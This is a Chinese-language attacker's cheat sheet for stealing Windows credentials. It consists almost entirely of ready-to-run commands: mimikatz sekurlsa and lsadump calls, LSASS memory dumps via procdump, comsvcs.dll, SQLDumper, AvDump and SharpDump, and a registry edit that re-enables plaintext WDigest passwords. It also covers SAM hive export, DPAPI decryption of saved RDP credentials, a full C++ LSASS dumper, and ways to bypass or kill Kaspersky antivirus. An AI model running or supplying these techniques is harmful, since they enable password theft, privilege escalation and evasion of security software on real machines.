tips:
一:mimakatz 二:当mimakatz无法使用的时候,我们可以配合procdump+mimikatz 三:Win8.1 及 Server 2008 R2 系统后,不再将明文密码加载进内存,需修改注册表才能用mimikatz,原因是Windows Server 2008开始,微软默认禁用LM hash。 四:导出注册表到本地再用mimikatz提取(需要管理员) 五:Mimikatz从MSTSC保存凭据中获取密码 六: win2012 要获取明文密码,要先注销,或者锁屏,或者重启
1、普通的mimikatz
一:mimakatz
1、privilege::debug 提升权限到system权限
2、sekurlsa::logonpasswords 获取账户,密码 (win10 和 winserver 2012R2用不了,需要修改注册表,
并且重新启动电脑)
mimikatz.exe log privilege::Debug sekurlsa::logonpasswords exit
2、procdump+mimikatz
二:当mimakatz无法使用的时候,我们可以配合
1、 将procdump把lsass进程的内存文件导出本地
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
2、执行完上面的命令后,会生成一个lass.dmp
3、sekurlsa::minidump lsass.dmp 导入lass.dmp来操作mimikatz
4、sekurlsa::logonpasswords 读取账户,密码
5、Win8.1 及 Server 2008 R2 系统后,不再将明文密码加载进内存,需修改注册表才能用mimikatz,原因是Windows Server 2008开始,微软默认禁用LM hash。
win2012R2 加载明文: reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 不加载明文: reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
6、导出注册表到本地再用mimikatz提取(需要管理员)
1、 reg save HKLM\SYSTEM SYS.HIV
2、 reg save HKLM\SAM SAM.HIV
3、mimikatz # lsadump::sam /sam:sam.hiv /system:sys.hiv
3、Mimikatz从MSTSC保存凭据中获取密码
需要关闭此选项
1、获取Master Key
DPAPI_SYSTEM 1、lsadump::secrets 获取DPAPI_SYSTEM 2、dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\8f793e62-5bd8-449d-974c-d7b76e548994 system:DPAPI_SYSTEM Dump Lsass 1、sekurlsa:dpapi(dpapi::cache获取缓存的MasterKey)
2、获取到MasterKey之后就可以解密了
mimikatz # dpapi::cred /in:C:\Users\Administrator.DESKTOPV4TBD10\AppData\Local\Microsoft\Credentials\8281A1D2A92506804BB4CB29FD5FA671
3、从上一步中获取了一个GuidMasterKey之后,我们还需要一个MasterKey才可进行解密
所以用 sekurlsa::dpapi 获取内存中的所有MasterKey
参考资料:
https://xz.aliyun.com/t/6508#toc-0
4、powershell导出lsass.exe使用mimikatz读取
powershell -c “rundll32 C:\windows\system32\comsvcs.dll, MiniDump 1316 C:\lsass.dmp full”
把lsass.dmp拖到本地然后使用mimikatz进行获取密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
5、SQLDumper导出lsass
tasklist /svc | findstr lsass.exe 查看lsass.exe 的PID号
Sqldumper.exe ProcessID 0 0x01100 导出mdmp文件
sekurlsa::minidump SQLDmpr0001.mdmp
sekurlsa::logonPasswords full
这里我用的环境是受害机——win7
Mimikatz安装的主机——原装的Win10
在我的电脑上是失败的会提示报错,但是使用相同Dump文件,换一台同事win10就可以了
获取谷歌浏览器的密码
https://www.cnblogs.com/zpchcbd/p/11942502.html
6、mimikatz绕过注册表禁用,cmd禁用等功能
#!bash
privilege::debug
misc::cmd
misc::regedit
misc::taskmgr
7 Avdump
Avdump.exe 是在 Avast HomeSecurity 产品套件一起提供的小工具。顾名思义,该实用程序将给定进程标识符的内存转储到用户指定的位置。我们可以通过它进行新的 dump 方式利用。
从https://www.pconlife.com/viewfileinfo/avdump-exe/ 下载该程序。
它自带 Avast 杀软公司白签名。
需要在powershell环境下运行该程序,测试cmd环境下无法导出:
.\AvDump.exe --pid 696 --exception_ptr 0 --dump_level 1 --thread_id 0--min_interval 0 --dump_file e:\tmp\last.dmp
再通过mimikatz获取密码。
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
8. SharpDump工具
Out-Minidump.ps1 脚本C#版本编译后的结果。
把lsass.exe进程数据导出来
dump的文件的后缀名为bin,拖到本地机器上后,先重命名为 zip,然后再解压
并使用本地的mimikatz进行读取。
mimikatz.exe "sekurlsa::minidump debug520" "sekurlsa::logonPasswords full" "exit"
9、windows api导出Lsass.exe
#include "stdafx.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
using namespace std;
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}
10、bypass 卡巴斯基的思路
1、曲线救国策略,在能够添加用户的情况下,直接添加账户来对杀软进行退出
2、思路就是RPC加载 SPP来bypass dump lsass.exe
https://mp.weixin.qq.com/s/EjmOg81ruu6ZKykmQUbvBw
3、SSP加载mimilib.dll记录密码
4、Kill杀软
5、参考haya的技术笔记,可以通过几种方式来提取
1)使用VSSadmin,Shadowcopy来对 SAM文件进行提取
vssadmin create shadow /for=C:
wmic shadowcopy call create Volume='C:\'
powershell.exe -Command (gwmi -list
win32_shadowcopy).Create('C:\','ClientAccessible')
VSSadmin list shadows
2)REG 注册表导出SAM,这个比较常规
3)invoke-ninjaCopy,收录到了 PowerSploit,需要做免杀处理